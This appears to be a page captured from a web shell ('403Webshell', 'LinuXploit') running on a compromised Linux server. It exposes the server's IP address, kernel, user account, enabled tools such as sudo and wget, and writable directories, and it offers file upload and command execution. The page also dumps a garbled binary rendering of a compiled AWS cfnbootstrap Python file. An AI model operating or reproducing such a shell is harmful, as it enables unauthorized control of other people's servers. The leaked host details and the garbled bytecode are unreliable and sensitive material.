403Webshell
Server IP : 3.96.16.70  /  Your IP : 216.73.216.15
Web Server : Apache
System : Linux ip-172-31-26-103.ca-central-1.compute.internal 6.1.163-186.299.amzn2023.x86_64 #1 SMP PREEMPT_DYNAMIC Tue Feb 24 16:35:42 UTC 2026 x86_64
User : ec2-user ( 1000)
PHP Version : 8.4.18
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /lib/python3.9/site-packages/cfnbootstrap/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /lib/python3.9/site-packages/cfnbootstrap/__pycache__/user_group_tools.cpython-39.pyc
a

��0i�
�@sBddlZddlmZe�d�ZGdd�de�ZGdd�de�ZdS)�N)�securityzcfn.initc@seZdZdZdd�ZdS)�	GroupToolz
    Creates OS groups
    cCsbg}|st�d�|St|���D]:}d}d||vrFt||d�}t�||�r"|�|�q"|S)a+
        Create groups, returning a list of groups that were created

        Arguments:
        action -- a dict of group name to attributes, where attributes has keys of:
            gid: the gid of the user (a string or int)

        Exceptions:
        ToolError -- on expected failures
        zNo groups specifiedN�gid)�log�debug�sorted�keys�strrZcreate_group�append)�self�actionZgroups_created�namer�r�A/usr/lib/python3.9/site-packages/cfnbootstrap/user_group_tools.py�applys
zGroupTool.applyN��__name__�
__module__�__qualname__�__doc__rrrrrrsrc@seZdZdZdd�ZdS)�UserToolz
    Creates OS Users
    c	Csvg}|st�d�|St|���D]N}||}d|vr:dn
t|d�}t�||�dg�|�dd�|�r"|�|�q"|S)a�
        Create users, returning a list of users that were created or modified

        Arguments:
        action -- a dict of user name to attributes, where attributes has keys of:
            groups: A list of group names for this user to be a member of
            homeDir: The home directory for this user
            uid: The uid for this user

        Exceptions:
        ToolError -- on expected failures
        zNo users specified�uidN�groupsZhomeDir)	rrrrr	rZcreate_or_modify_user�getr
)rrZusers_modifiedr
Z
attributesrrrrr;s
 zUserTool.applyNrrrrrr6sr)ZloggingZcfnbootstraprZ	getLoggerr�objectrrrrrr�<module>s
!

Youez - 2016 - github.com/yon3zu
LinuXploit